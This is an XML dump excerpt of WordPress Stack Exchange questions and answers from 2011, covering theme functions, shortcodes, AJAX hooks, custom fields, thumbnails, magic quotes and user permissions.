LastEditorDisplayName="" LastEditDate="2011-07-01T17:55:34.980" LastActivityDate="2011-07-01T17:55:34.980" CommentCount="2" />
  <row Id="21668" PostTypeId="2" ParentId="10764" CreationDate="2011-07-01T00:13:18.097" Score="0" ViewCount="" Body="&lt;p&gt;But if I'm using Domain Mapping in my Multisite project, how do I use a cert per domain? The SSL gets applied to what? These are virtual subdomains. And if I manage to apply one to a dul domain (child site), I'll get an security error when I load images from the theme files, which are actually not at the SSL domain, but are rather located in my base WP implementation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the ability to buy and install a cert for every domain that needs one. . . but I can't wrap my head around how this can work. Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Larry&lt;/p&gt;&#xA;" OwnerUserId="6654" LastActivityDate="2011-07-01T00:13:18.097" />
  <row Id="21669" PostTypeId="1" CreationDate="2011-07-01T01:52:10.567" Score="-1" ViewCount="65" Body="&lt;p&gt;I am doing an request for a plugin. This works fine, on my testplatform (regular WP), but it makes problems on a WPMU (both latest wp versions.) &#xA;This is my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_action_callback() {&#xA;$post = $_POST['shortcode'];&#xA;$post = str_replace('\&quot;','&quot;',$post);    &#xA;echo do_shortcode($post);&#xA;die(); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whatcould be the issue?&lt;/p&gt;&#xA;" OwnerUserId="6657" LastActivityDate="2011-07-01T06:51:21.740" Title="Wordpress ajax call returns a zero though die()" Tags="&lt;ajax&gt;" AnswerCount="1" />
  <row Id="21670" PostTypeId="1" AcceptedAnswerId="21671" CreationDate="2011-06-30T17:11:57.547" Score="0" ViewCount="120" Body="&lt;p&gt;I am using WooTheme's Canvas theme and would like to &quot;hardcode&quot; in the [post_comments] shortcode into my theme. [post_comments] displays a comment link with comment count (ie Comments 10) in my post. Right now I am inserting the [post_comments] shortcode into my theme's meta &quot;Meta Manager&quot;; however, this is not ideal for me as I have limited control over the placement of where the this shows up in my post. What type of function or such should I be looking for to do this within my .php files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7944" LastActivityDate="2011-07-01T02:16:14.687" Title="How do I hardcode a WordPress shortcode into my theme?" Tags="&lt;php&gt;&lt;themes&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="21671" PostTypeId="2" ParentId="21670" CreationDate="2011-06-30T17:16:23.680" Score="2" ViewCount="" Body="&lt;p&gt;Check out do_shortcode(): &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_shortcode('[shortcode option1=&quot;value1&quot; option2=&quot;value2&quot;]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your example would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_shortcode('[post_comments]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What might be easier is to tap into the underlying comment functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_number&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/comments_number&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;  This post currently has&#xA;  &amp;lt;?php comments_number( 'no responses', 'one response', '% responses' ); ?&amp;gt;.&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;get_comments_number&lt;/code&gt; which returns the value rather than printing it to the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function however needs to be in the Loop for it to work, however I have a feeling it is.&lt;/p&gt;&#xA;" OwnerUserId="6833" LastActivityDate="2011-06-30T21:17:16.230" CommentCount="4" />
  <row Id="21672" PostTypeId="2" ParentId="5800" CreationDate="2011-07-01T02:53:59.483" Score="0" ViewCount="" Body="&lt;p&gt;Why not just change the Published Date?&lt;/p&gt;&#xA;" OwnerUserId="6658" LastActivityDate="2011-07-01T02:53:59.483" />
  <row Id="21673" PostTypeId="1" CreationDate="2011-07-01T03:45:35.747" Score="1" ViewCount="181" Body="&lt;p&gt;I have created child of theme twentyten. I tried to override function written below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA; * Returns a &quot;Continue Reading&quot; link for excerpts&#xA; *&#xA; * @since Twenty Ten 1.0&#xA; * @return string &quot;Continue Reading&quot; link&#xA; */&#xA;function twentyten_continue_reading_link() {&#xA;    return ' &amp;lt;a href=&quot;'. get_permalink() . '&quot;&amp;gt;' . __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;/**&#xA; * Replaces &quot;[...]&quot; (appended to automatically generated excerpts) with an ellipsis and twentyten_continue_reading_link().&#xA; *&#xA; * To override this in a child theme, remove the filter and add your own&#xA; * function tied to the excerpt_more filter hook.&#xA; *&#xA; * @since Twenty Ten 1.0&#xA; * @return string An ellipsis&#xA; */&#xA;function twentyten_auto_excerpt_more( $more ) {&#xA;    return ' &amp;amp;hellip;' . twentyten_continue_reading_link();&#xA;}&#xA;add_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says to override this in a child theme, remove the filter and add your own function tied to the excerpt_more filter hook. I don't want to make any change in the parent theme folder so created functions.php in child theme folder. I write my function in child file functions.php as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function twentyten_continue_reading_link_() {&#xA;    return ' &amp;lt;a href=&quot;'. get_permalink() . '&quot;&amp;gt;' . __( 'READ MORE', 'twentyten' ) . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;&#xA;function twentyten_auto_excerpt_more_( $more ) {&#xA;    return ' &amp;amp;hellip;' . twentyten_continue_reading_link_();&#xA;}&#xA;add_filter( 'excerpt_more', 'twentyten_auto_excerpt_more_' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have to comment filter written in the parent to make the new one working. Is it possible to do without modifying in parent file functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-01T04:02:57.063" LastActivityDate="2011-07-01T04:03:59.133" Title="How to override function in functions.php of parent theme?" Tags="&lt;functions&gt;&lt;theme-twenty-ten&gt;&lt;child-theme&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="21674" PostTypeId="2" ParentId="21673" CreationDate="2011-07-01T04:03:59.133" Score="2" ViewCount="" Body="&lt;p&gt;Hi using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_action&quot; rel=&quot;nofollow&quot;&gt;Function Reference/remove action&lt;/a&gt; and using&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_filter&quot; rel=&quot;nofollow&quot;&gt;Function Reference/remove filter&lt;/a&gt;.using these two functions only we can overriding the functions.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-01T04:03:59.133" CommentCount="1" />
  <row Id="21676" PostTypeId="2" ParentId="16548" CreationDate="2011-07-01T05:32:41.153" Score="0" ViewCount="" Body="&lt;p&gt;here is the fix:&#xA;- set the time on your server to nist time:&#xA;ntpdate time.nist.gov&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the server time needs to be the same with facebook time&lt;/p&gt;&#xA;" OwnerUserId="6661" LastActivityDate="2011-07-01T05:32:41.153" />
  <row Id="21677" PostTypeId="2" ParentId="21659" CreationDate="2011-07-01T05:53:04.117" Score="1" ViewCount="" Body="&lt;p&gt;here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( has_post_format( 'image' )) {&#xA;?&amp;gt;&#xA;   &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;?php $image = catch_that_image();&#xA;   if( $image ) { ?&amp;gt;&#xA;      &amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php echo $image; ?&amp;gt;&amp;amp;amp;h=240&amp;amp;amp;w=280&quot; class=&quot;index&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;   &amp;lt;?php } ?&amp;gt;&#xA;   &amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-01T05:53:04.117" />
  <row Id="21678" PostTypeId="2" ParentId="21657" CreationDate="2011-07-01T05:59:25.333" Score="0" ViewCount="" Body="&lt;p&gt;If this is for a client you should make it as simple as possible, meaning instead of using only 3 custom fields and using a comma as a separator, use as many as a field for each and don't confuse your clients with commas and spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to make it even better create your own meta box just for that do simplify things even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now if you want to cut down on the number of fields you create the you can create just one field as an array, for example look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed/19852#19852&quot;&gt;&lt;strong&gt;this answer&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-01T05:59:25.333" />
  <row Id="21679" PostTypeId="1" AcceptedAnswerId="21681" CreationDate="2011-07-01T06:03:51.717" Score="0" ViewCount="40" Body="&lt;p&gt;I know how to get the value of a custom field, using code like &lt;code&gt;get_post_meta($post-&amp;gt;ID, 'company', true);&lt;/code&gt;. Is there a way to get the name of the custom field?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-01T06:22:28.747" LastActivityDate="2011-07-01T06:50:41.257" Title="How to Get the title of a custom field?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="21680" PostTypeId="2" ParentId="21649" CreationDate="2011-07-01T06:06:00.590" Score="0" ViewCount="" Body="&lt;p&gt;WPML defines constants that you can use go get the current language:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ICL_LANGUAGE_CODE&lt;/code&gt; - current language code (eg: en,fr,sp).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ICL_LANGUAGE_NAME_EN&lt;/code&gt; - Name of the current language in English (eg: English, French. Spanish).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ICL_LANGUAGE_NAME&lt;/code&gt; - Name of current language, in the current language (eg: English, Français, Español).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-01T06:06:00.590" CommentCount="1" />
  <row Id="21681" PostTypeId="2" ParentId="21679" CreationDate="2011-07-01T06:18:39.153" Score="3" ViewCount="" Body="&lt;p&gt;to get a post custom fields name you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_post_custom&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_meta = get_post_custom($post-&amp;gt;ID);&#xA;foreach ( $post_meta as $key =&amp;gt; $value )&#xA;    echo $key . &quot; =&amp;gt; &quot; . $value . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will print a list of custom_field_name =&gt; custom_field_value&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-01T06:26:01.680" LastActivityDate="2011-07-01T06:26:01.680" CommentCount="1" />
  <row Id="21682" PostTypeId="2" ParentId="21679" CreationDate="2011-07-01T06:23:25.893" Score="1" ViewCount="" Body="&lt;p&gt;if you only want to get the name, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_keys&quot; rel=&quot;nofollow&quot;&gt;get_post_custom_keys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  $custom_field_keys = get_post_custom_keys();&#xA;  foreach ( $custom_field_keys as $key =&amp;gt; $value ) {&#xA;    $valuet = trim($value);&#xA;      if ( '_' == $valuet{0} )&#xA;      continue;&#xA;    echo $key . &quot; =&amp;gt; &quot; . $value . &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prints something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 =&amp;gt; mykey&#xA;1 =&amp;gt; yourkey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="974" LastEditorUserId="974" LastEditorDisplayName="" LastEditDate="2011-07-01T06:50:41.257" LastActivityDate="2011-07-01T06:50:41.257" CommentCount="2" />
  <row Id="21683" PostTypeId="1" AcceptedAnswerId="21686" CreationDate="2011-07-01T06:28:46.213" Score="0" ViewCount="52" Body="&lt;p&gt;I'm trying to figure out a way to include a div(which will contain a background image) for a specific tag. This block of code works but fails when a post has more than 1 tag. I'm using a page called tag.php which is the default template for all tags. I'll have quite a few tags so I don't want to create template files for them all, ie: tag-name.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php  if( has_tag('books') ) {&#xA;      include 'tags/books.php';}&#xA;          elseif ( has_tag('tables') ) {&#xA;      include 'tags/tables.php';}&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's always possible there is an easier way to do this. I essentially need a script that detects which tag is being viewed, as a page, then displays the correct image for it. So when the page for the tag &quot;table&quot; is loaded that tag will always use an image named &quot;table.jpg&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions or know of a way I can modify the script above to do what I described?&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2011-07-01T07:03:24.840" Title="Detect tag page and include an Image for that specific tag" Tags="&lt;tags&gt;&lt;conditional-tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21684" PostTypeId="1" CreationDate="2011-07-01T06:32:15.750" Score="1" ViewCount="41" Body="&lt;pre&gt;&lt;code&gt;    // add google analytics to footer&#xA;function add_google_analytics() { ?&amp;gt;&#xA;    if ( !is_user_logged_in() ) {&#xA;&#xA;    &amp;lt;!--Google Analytics--&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;      var _gaq = _gaq || [];&#xA;      _gaq.push(['_setAccount', 'UA-XXXXXXXX-X']);&#xA;      _gaq.push(['_trackPageview']);&#xA;      _gaq.push(['_trackPageLoadTime']);&#xA;&#xA;      (function() {&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xA;      })();&#xA;    &amp;lt;/script&amp;gt;&#xA;}&#xA;&amp;lt;?php }&#xA;&#xA;add_action('wp_footer', 'add_google_analytics');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to create a function that adds google analytics tracking code depending on whether or not the user is logged into WordPress. Right now, the tracking code is added all the time.&lt;/p&gt;&#xA;" OwnerUserId="5946" LastActivityDate="2011-07-01T13:08:45.813" Title="Adding Google Analytics to footer selectively" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21685" PostTypeId="2" ParentId="21669" CreationDate="2011-07-01T06:51:21.740" Score="1" ViewCount="" Body="&lt;p&gt;When an ajax call returns 0 this usually means that you do not have your actions set up correctly. You will want to make sure that you are hooking into wp_ajax as well as wp_ajax_nopriv&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_ajax_ACTION', 'your-callback' );&#xA;add_action( 'wp_ajax_nopriv_ACTION', 'your-callback' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would guess that the problem is that you are only hooking into wp_ajax and are logged in on your dev installation and you are not logged in on the live install. Just guessing here. Would have to see all of the code to know for sure.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-01T06:51:21.740" CommentCount="3" />
  <row Id="21686" PostTypeId="2" ParentId="21683" CreationDate="2011-07-01T07:03:24.840" Score="1" ViewCount="" Body="&lt;p&gt;Here are 2 solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tag titles&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;switch( single_tag_title( '', false ) ) {&#xA;    case 'Books' :&#xA;        include 'tags/books.php';&#xA;        break;&#xA;    case 'Tables' :&#xA;        include 'tags/tables.php';&#xA;        break;&#xA;    default :&#xA;        break;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using tag slugs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( is_tag( 'books' ) ) {&#xA;    include 'tags/books.php';&#xA;}&#xA;else if ( is_tag( 'tables' ) ) {&#xA;    include 'tags/tables.php';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-01T07:03:24.840" CommentCount="2" />
  <row Id="21687" PostTypeId="2" ParentId="21541" CreationDate="2011-07-01T07:11:27.083" Score="0" ViewCount="" Body="&lt;p&gt;In the event that there will only ever be one featured designer, I would suggest using a setting instead of postmeta. This will be much faster, cleaner and less prone to error. You can store the value posts ID value in this custom setting and just overwrite the value when a new designer is featured.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-01T07:11:27.083" />
  <row Id="21688" PostTypeId="1" CreationDate="2011-07-01T07:15:25.567" Score="0" ViewCount="37" Body="&lt;p&gt;Will &quot;Google XML Sitemaps&quot; plugin work without &quot;wp_head();&quot;  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="6038" LastActivityDate="2011-07-01T07:26:50.413" Title="Will &quot;Google XML Sitemaps&quot; plugin work without &quot;wp_head();&quot;" Tags="&lt;wordpress.com&gt;&lt;google-xml-sitemaps&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="21689" PostTypeId="2" ParentId="21688" CreationDate="2011-07-01T07:26:50.413" Score="1" ViewCount="" Body="&lt;p&gt;This one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-sitemap-generator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like it should as I do not see wp_head being hooked into anywhere.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-07-01T07:26:50.413" CommentCount="5" />
  <row Id="21690" PostTypeId="1" CreationDate="2011-06-30T13:23:12.867" Score="1" ViewCount="79" Body="&lt;p&gt;I am working on the WordPress Twenty Ten theme, and I want to display post thumbnails.  I have followed the steps below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Added following code in functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) { &#xA;    add_theme_support( 'post-thumbnails' ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have also defined post thumbnail size,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 150, 150 );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And I configured the media settings from the admin panel of WordPress to not to crop image. but this is cropping the image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using this in loop.php file,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail(array(150,150);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I do not want to crop the image. How can I do this? Please help where I am wrong in my process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-01T12:14:39.510" Title="How to create post thumbnail" Tags="&lt;php&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="21691" PostTypeId="2" ParentId="21690" CreationDate="2011-07-01T05:45:49.323" Score="1" ViewCount="" Body="&lt;p&gt;Maybe it's just a typo, use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail(array(150,150));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail(array(150,150);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another thing is, I've never used this in the loop.php only in functions.php&lt;/p&gt;&#xA;" OwnerUserId="6619" LastActivityDate="2011-07-01T05:45:49.323" CommentCount="2" />
  <row Id="21692" PostTypeId="2" ParentId="21690" CreationDate="2011-07-01T09:24:48.837" Score="2" ViewCount="" Body="&lt;p&gt;IF you want to retrieve thumbnail in size that you had set with &lt;code&gt;set_post_thumbnail_size()&lt;/code&gt; then call &lt;code&gt;the_post_thumbnail()&lt;/code&gt; without passing any arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will default to named &lt;code&gt;post-thumbnail&lt;/code&gt; size that that &lt;code&gt;set_post_thumbnail_size()&lt;/code&gt; actually creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also crop for this will be determined by third argument in &lt;code&gt;set_post_thumbnail_size()&lt;/code&gt; (defaults to &lt;code&gt;false&lt;/code&gt;) and is not tied to media settings (those control entirely different sizes of image).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-01T09:24:48.837" />
  <row Id="21693" PostTypeId="1" AcceptedAnswerId="21695" CreationDate="2011-07-01T01:19:07.570" Score="3" ViewCount="52" Body="&lt;p&gt;I've been writing some Wordpress plugins, and I've been having some problem with Wordpress putting magic quotes on POST and GET data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the &quot;wp_magic_quotes&quot; function in \wp-includes\load.php, which is called (presumably on every response) in wp-settings.php.  This function adds magic quotes to the data even if I turn off magic quotes in PHP settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER.&#xA; *&#xA; * Also forces $_REQUEST to be $_GET + $_POST. If $_SERVER, $_COOKIE,&#xA; * or $_ENV are needed, use those superglobals directly.&#xA; *&#xA; * @access private&#xA; * @since 3.0.0&#xA; */&#xA;function wp_magic_quotes() {&#xA;    // If already slashed, strip.&#xA;    if ( get_magic_quotes_gpc() ) {&#xA;        $_GET    = stripslashes_deep( $_GET    );&#xA;        $_POST   = stripslashes_deep( $_POST   );&#xA;        $_COOKIE = stripslashes_deep( $_COOKIE );&#xA;    }&#xA;&#xA;    // Escape with wpdb.&#xA;    $_GET    = add_magic_quotes( $_GET    );&#xA;    $_POST   = add_magic_quotes( $_POST   );&#xA;    $_COOKIE = add_magic_quotes( $_COOKIE );&#xA;    $_SERVER = add_magic_quotes( $_SERVER );&#xA;&#xA;    // Force REQUEST to be GET + POST.&#xA;    $_REQUEST = array_merge( $_GET, $_POST );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it safe for me to just comment out the wp_magic_quotes() call in wp-settings.php?  That is, will it negatively affect the normal Wordpress code and/or open up some exploitation vector?  If so, is there some other way to do it besides modifying WP code (so I don't have to deal with this every time there's an update)?&lt;/p&gt;&#xA;" OwnerUserId="6668" LastActivityDate="2011-07-01T18:02:58.020" Title="Wordpress and magic quotes" Tags="&lt;php&gt;&lt;plugins&gt;" AnswerCount="3" />
  <row Id="21694" PostTypeId="2" ParentId="21693" CreationDate="2011-07-01T02:08:26.833" Score="0" ViewCount="" Body="&lt;p&gt;I think the following links might help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hungred-smart-quotes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hungred-smart-quotes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/stripslashes_deep&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/stripslashes_deep&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" LastActivityDate="2011-07-01T02:08:26.833" />
  <row Id="21695" PostTypeId="2" ParentId="21693" CreationDate="2011-07-01T09:48:07.227" Score="1" ViewCount="" Body="&lt;p&gt;Simply put WP turns indeterminate situation (magic quotes might or might not be enabled in server configuration) into determinate (magic quotes are always present and server configuration does not matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than messing with this for all WP core it makes much more sense to simply strip slashes in your code on your own variables, when you need that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-01T09:48:07.227" />
  <row Id="21696" PostTypeId="1" AcceptedAnswerId="21714" CreationDate="2011-07-01T09:52:32.573" Score="0" ViewCount="52" Body="&lt;p&gt;Does anyone know of a wordpress theme or plugin that offers custom user registration + 'My account' panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build a cashback site.. would appreciate if you could share themes or plugins that could do the job.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-01T13:54:32.643" Title="Can anyone suggest a wordpress them with built in user management" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="21697" PostTypeId="1" CreationDate="2011-07-01T10:34:51.507" Score="0" ViewCount="81" Body="&lt;p&gt;Ok guys, I'm building a page, where a certain sub-page is password protected. Easy in wordpress. But there is a UX problem: when a user enters a wrong password, theres no error message or something to indicate, that the password is not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it posible to manually code it somehow to the template file?&lt;/p&gt;&#xA;" OwnerUserId="4344" LastActivityDate="2011-08-09T00:21:32.917" Title="Password protected post or page - error message by wrong password?" Tags="&lt;page&gt;&lt;password&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21698" PostTypeId="2" ParentId="10930" CreationDate="2011-07-01T10:48:29.193" Score="1" ViewCount="" Body="&lt;p&gt;The short answer is that there &lt;em&gt;isn't&lt;/em&gt; any straightforward way to do this, since the custom field metabox was not written with extensibility in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add the additional field using JavaScript and hijack the Add button to send the data to your custom AJAX handler that would store them as you want.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-01T11:38:23.897" LastActivityDate="2011-07-01T11:38:23.897" />
  <row Id="21699" PostTypeId="1" AcceptedAnswerId="21701" CreationDate="2011-07-01T10:54:16.467" Score="1" ViewCount="66" Body="&lt;p&gt;Hi I have built a settings page which from the menu leads to:&#xA;&lt;a href=&quot;http://www.mysite.com/wp-admin/admin.php?page=theme_options&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/wp-admin/admin.php?page=theme_options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I go to save the options and I am an EDITOR user I get this error:&#xA;You do not have sufficient permissions to access this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using User Role Editor plugin and edit_theme_options capability is enabled for the Editor user type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this? thanks&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-07-01T11:11:45.830" Title="Insufficient permissions to save options" Tags="&lt;options&gt;" AnswerCount="1" CommentCount="1" />
